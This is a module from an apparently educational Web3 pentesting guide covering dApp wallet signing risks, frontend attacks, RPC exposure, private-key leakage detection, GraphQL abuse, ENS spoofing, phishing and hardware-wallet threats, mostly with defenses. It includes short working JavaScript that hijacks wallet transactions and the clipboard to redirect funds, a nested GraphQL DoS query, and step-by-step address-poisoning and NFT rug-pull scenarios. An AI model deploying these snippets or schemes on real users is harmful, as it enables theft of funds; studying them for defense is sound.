WEB3_DAPP_PENTESTING.md

title	Module 08 — Web3 dApp Pentesting: Frontend, Wallet & API Security
description	Comprehensive Web3 dApp penetration testing guide covering wallet interaction security (MetaMask, WalletConnect), frontend attack vectors, JSON-RPC endpoint security, private key leakage detection, EIP-712 signature phishing, backend API testing, GraphQL injection, ENS spoofing, address poisoning attacks, and hardware wallet threat modeling.
keywords	web3 dApp pentesting, MetaMask security, WalletConnect vulnerability, EIP-712 phishing, approval phishing, JSON-RPC security, private key leak, ENS spoofing, address poisoning, web3 frontend security, hardware wallet attack vectors, GraphQL Subgraph injection, IPFS content injection, admin panel web3 attacks, browser extension security
author	Web3 Security Research
date	2025-01-01
last_modified_at	2026-03-21
og_title	Module 08 — Web3 dApp Pentesting | Web3 Hacker Guide
og_description	Full-stack Web3 dApp security: wallet attacks, frontend injection, RPC security, API testing, ENS spoofing, phishing techniques, and hardware wallet threat models.
og_type	article
twitter_card	summary_large_image
canonical_url	https://sdxshadow.github.io/Hack_web3/08_WEB3_DAPP_PENTESTING
schema_type	TechArticle
difficulty	Intermediate → Advanced
module	8
tags	dApp-pentesting MetaMask WalletConnect EIP-712 phishing RPC-security wallet-security frontend-attacks
nav_order	8
parent	Web3 Hacker & Pentester Guide

Module 08 — Web3 dApp Pentesting

Difficulty: Intermediate → Advanced

"Decentralized" applications are rarely fully decentralized. Most dApps have centralized frontends, APIs, databases, and admin panels. This module covers the full Web2+Web3 attack surface of decentralized applications — from wallet interactions to backend API exploitation.

---

8.1 Web3 Wallet Interaction Security

MetaMask Security Considerations

Risk	Description	Exploitation
Unlimited token approvals	dApps request approve(MAX_UINT256) — if the dApp or its contract is compromised, all approved tokens are at risk	Revoke via revoke.cash
Blind signing	Users sign messages they can't read (raw hex)	Malicious dApps trick users into signing arbitrary data
eth_sign	Signs arbitrary hash — can sign transactions	Phishing dApps use eth_sign to sign a transfer tx
Phishing pop-ups	Fake MetaMask prompts on malicious sites	Cloned approval dialogs

WalletConnect Vulnerabilities

WalletConnect v2 uses the Relay protocol:
1. Session proposal → user approves connection
2. RPC requests → methods the dApp can call through the wallet

Attack vectors:
- Session hijacking (expired sessions still accepted)
- Man-in-the-middle on relay server
- Malicious dApp requesting dangerous methods (eth_sendTransaction to drainer)

Signing Method Comparison

Method	Safety	What It Signs	Use Case
personal_sign	[YES] Safer	Prefixed message (EIP-191)	Login, off-chain messaging
eth_signTypedData_v4	[YES] Safest	Structured data (EIP-712)	Permits, orders, meta-txs
eth_sign	[NO] Dangerous	Raw 32-byte hash	Legacy — can sign any tx
eth_signTransaction	! Risky	Full transaction object	Should only be used internally

---

8.2 Frontend Attack Vectors

Malicious dApp Injection

// Attacker injects this into a compromised dApp frontend:
// Intercepts all transactions and redirects funds

const originalSendTransaction = window.ethereum.request;
window.ethereum.request = async function(args) {
    if (args.method === 'eth_sendTransaction') {
        // Redirect the 'to' address to attacker's wallet
        args.params[0].to = '0xAttackerWallet';
    }
    return originalSendTransaction.call(this, args);
};

Clipboard Hijacking

// Monitor clipboard for crypto addresses and replace them
document.addEventListener('copy', function(e) {
    const selection = document.getSelection().toString();
    // If user copies an Ethereum address, replace with attacker's
    if (/^0x[a-fA-F0-9]{40}$/.test(selection.trim())) {
        e.clipboardData.setData('text/plain', '0xATTACKER_ADDRESS');
        e.preventDefault();
    }
});

Supply Chain Attacks on dApp Dependencies

npm ecosystem attacks:
1. Typosquatting: @uniswap/sdk → @un1swap/sdk (malicious)
2. Dependency confusion: Internal package names published publicly
3. Compromised maintainer: Legitimate package gets malicious update
4. Malicious postinstall scripts: Execute during npm install

Defense:
- Lock dependency versions (package-lock.json)
- Use npm audit / snyk
- Review postinstall scripts
- Use allowlists for critical dependencies

---

8.3 JSON-RPC Endpoint Security

Dangerous RPC Methods

Method	Risk	Defense
eth_sign	Signs arbitrary data (can be a transaction)	Disable or warn users
eth_sendTransaction	Sends a transaction	Show clear confirmation UI
eth_signTypedData	Signs typed data (permits)	Show decoded data in wallet
debug_traceTransaction	Reveals internal tx execution	Don't expose on public RPC
eth_getStorageAt	Reads arbitrary storage	Don't rely on "private" storage
admin_*	Node administration	Never expose publicly
miner_*	Mining control	Never expose publicly

Public RPC Node Risks

If a dApp hardcodes a public RPC endpoint:
1. RPC provider can see all user transactions (privacy leak)
2. RPC can return manipulated data (fake balances, fake nonces)
3. RPCs can censor transactions (refuse to broadcast)
4. Free RPCs have rate limits → DoS vector for dApp

Defense: Users should use their own RPC, or dApp should rotate providers

---

8.4 Private Key Leakage

Common Leakage Vectors

Vector	How It Happens	Frequency
Frontend JavaScript	Private key hardcoded in client-side code	Common in amateur projects
.env in version control	.env file committed to public GitHub	Very common
Browser local storage	Wallet stores keys in localStorage (non-hardware wallets)	Medium
Server environment variables	Secret leaked via error pages, debug endpoints	Medium
CI/CD logs	Keys printed or logged during deployment	Common
Dependency exfiltration	Malicious npm package reads process.env	Event-stream incident

Detection in Pentests

# Search for private keys in frontend code
grep -rn "0x[a-fA-F0-9]\{64\}" src/ --include="*.js" --include="*.ts" --include="*.jsx"

# Search for .env files in git history
git log --all --full-history -- "*.env"
git log --all --full-history -- ".env*"

# Check for hardcoded mnemonics
grep -rn "candy maple\|abandon abandon\|test test\|knife multi" src/ --include="*.js"

# Search for common private key variable names
grep -rn "PRIVATE_KEY\|DEPLOYER_KEY\|MNEMONIC\|SEED_PHRASE" src/ --include="*.js"

---

8.5 Insecure Signature Handling

EIP-712 (Typed Data) Security

// Proper EIP-712 domain — prevents cross-domain replay
const domain = {
    name: "MyProtocol",
    version: "1",
    chainId: 1,                          // [YES] Prevents cross-chain replay
    verifyingContract: "0xContractAddr",  // [YES] Prevents cross-contract replay
};

// Typed data specification
const types = {
    Permit: [
        { name: "owner", type: "address" },
        { name: "spender", type: "address" },
        { name: "value", type: "uint256" },
        { name: "nonce", type: "uint256" },        // [YES] Prevents replay
        { name: "deadline", type: "uint256" },      // [YES] Time-limited
    ],
};

Common Signature Pitfalls

Pitfall	Impact
Using eth_sign instead of signTypedData	Users can't verify what they're signing
No nonce in signed data	Signature can be replayed
No chainId in domain	Signature valid on all chains
No deadline	Signature valid forever
Missing verifyingContract in domain	Valid across different contracts
Signature malleability (ECDSA)	Same message, different (valid) signature

---

8.6 Backend API Security

Centralized Components of "Decentralized" Apps

Most dApps have centralized components:

┌─────────────────────────────────────────────┐
│              "Decentralized" App            │
├─────────────────────────────────────────────┤
│  Frontend (React/Next.js)     ← Centralized│
│  Backend API (Node.js)        ← Centralized│
│  Database (PostgreSQL)        ← Centralized│
│  Admin Panel                  ← Centralized│
│  Smart Contracts (Ethereum)   ← Decentralized│
│  IPFS Storage (sometimes)     ← Variable   │
└─────────────────────────────────────────────┘

API Security Checklist

• Authentication — How does the API verify users? (Wallet signature? JWT? API keys?)
• Authorization — Can users access other users' data?
• Input validation — SQL injection, XSS, SSRF on API endpoints
• Rate limiting — Can an attacker spam the API?
• CORS configuration — Is the API restricted to the dApp's domain?
• Error handling — Do error messages leak internal structure?
• Admin endpoints — Are they properly protected? (often forgotten)

---

8.7 GraphQL / Subgraph Injection

Subgraph Query Manipulation

# Excessive query (DoS)
{
  tokens(first: 1000, orderBy: totalSupply, orderDirection: desc) {
    id
    name
    symbol
    totalSupply
    holders(first: 1000) {    # Nested pagination → massive response
      id
      balance
      transactions(first: 1000) {  # Deeply nested → exponential data
        id
        amount
      }
    }
  }
}

GraphQL-Specific Attacks Against dApp APIs

Attack	Description	Defense
Introspection	Query __schema to discover all types and fields	Disable introspection in production
Batch queries	Send many queries in one request (DoS)	Limit query depth and complexity
Aliasing	Use aliases to bypass rate limiting	Rate limit by user, not by query
Field suggestion	Error messages reveal field names	Disable suggestions in production

---

8.8 Centralized Admin Panel Attacks

Common admin panel vulnerabilities in dApps:
1. Default credentials (admin/admin)
2. No MFA (2FA not required for admin access)
3. Exposed admin panel URL (often at /admin, /dashboard)
4. Admin can:
   - Pause/unpause contracts
   - Upgrade proxy implementations
   - Modify protocol parameters
   - Whitelist/blacklist addresses
5. Admin key stored in .env on a server → server compromise = protocol compromise

---

8.9 IPFS Content Injection

If a dApp stores content references on IPFS:
1. Content addressing = content is verified by hash
2. BUT: If the smart contract stores an HTTP URL (not IPFS CID), content can change
3. IPFS gateways can be compromised → serve wrong content
4. Metadata update attacks: If contract has setTokenURI(), owner changes metadata post-sale

Attack scenario for NFTs:
1. Mint NFT with attractive art stored on IPFS (pinned by creator)
2. Sell NFT at premium
3. Unpin the content → image disappears
4. Or: Update tokenURI to point to different content

---

8.10 ENS Spoofing & Homoglyph Attacks

ENS (Ethereum Name Service) Attack Vectors

Attack	Description
Homoglyph	Register unіswap.eth (Cyrillic 'і') vs uniswap.eth (Latin 'i')
Expired ENS	Previous owner's ENS name expires, attacker registers it → receives misdirected funds
Subdomain spoofing	legit.protocol.eth → legit-protocol.fake.eth
ENS record manipulation	If attacker gains control of ENS record, they can redirect resolution to their contract

# Check ENS resolution
cast resolve-name vitalik.eth
cast lookup-address 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045

---

8.11 Web3 Phishing Techniques

Phishing Attack Types

Technique	Mechanism	Defense
Approval phishing	Trick user into approving token spend to attacker's contract	Use Rabby wallet (shows simulation)
Permit phishing	Trick user into signing EIP-2612 permit (gasless approval)	Check what you're signing
Fake mint sites	Clone NFT project website with drainer contract	Verify contract on Etherscan
Ice phishing	Get user to sign a message that's actually a transaction	Use signTypedData with clear domain
Address poisoning	Send 0-value transfers from similar-looking addresses, hoping victim copies from tx history	Always verify full address
DNS hijacking	Compromise protocol's domain, serve malicious frontend	Use bookmarks, verify contract

Address Poisoning Attack

How it works:
1. Victim regularly sends to 0xA1B2...9F00 (legitimate address)
2. Attacker generates an address with same first/last characters: 0xA1B2...9F00
   (Different middle characters)
3. Attacker sends 0 tokens FROM the spoofed address TO the victim
4. Victim sees the spoofed address in transaction history
5. Victim copy-pastes the wrong address for next transfer → funds go to attacker

Defense: Always verify the FULL address, use address book/contacts

---

8.12 Browser Extension Security

Malicious Extensions

Attack vectors:
1. Fake wallet extensions (not from official MetaMask)
2. Extensions with "Access all website data" permissions
3. Extensions that inject JavaScript into dApp pages
4. Keyloggers disguised as browser extensions

What malicious extensions can do:
- Read seed phrases from wallet UI
- Intercept transaction signing
- Modify displayed transaction details
- Redirect tokens/ETH to attacker addresses
- Read clipboard (address replacement)

---

8.13 Hardware Wallet Attack Surface

Physical Attack Vectors

Attack	Complexity	Description
Supply chain	High	Tampered hardware wallet shipped pre-compromised
Side channels	Very High	Power analysis, electromagnetic emanation during signing
Fault injection	Very High	Voltage glitching to bypass PIN protection
Firmware update	Medium	Malicious firmware update disguised as legitimate
Social engineering	Low	"Enter your seed phrase to update firmware" phishing
Evil maid	Medium	Physical access to unlock and extract keys

Software-Level Hardware Wallet Risks

Even with hardware wallets:
1. The transaction must still be verified on screen
2. If the hardware wallet's screen is compromised → displays wrong address
3. Blind signing on hardware wallets (signing without full tx display) is dangerous
4. Some hardware wallets don't fully decode EIP-712 typed data

Key Takeaway: Web3 security extends far beyond smart contracts. The biggest losses to end users come from phishing, approval exploits, and compromised frontends — not smart contract bugs. A comprehensive Web3 pentest must cover the entire stack: frontend, backend API, wallet integration, DNS, and social engineering vectors. Don't forget that most "decentralized" apps are actually centralized apps that interact with smart contracts.

---

← Previous: DeFi Protocol Attacks | Next: MEV & Mempool →

<script> document.addEventListener("DOMContentLoaded", function() { const checkboxes = document.querySelectorAll('.task-list-item-checkbox, input[type="checkbox"]'); checkboxes.forEach(function(cb) { cb.removeAttribute('disabled'); cb.style.cursor = 'pointer'; }); }); </script>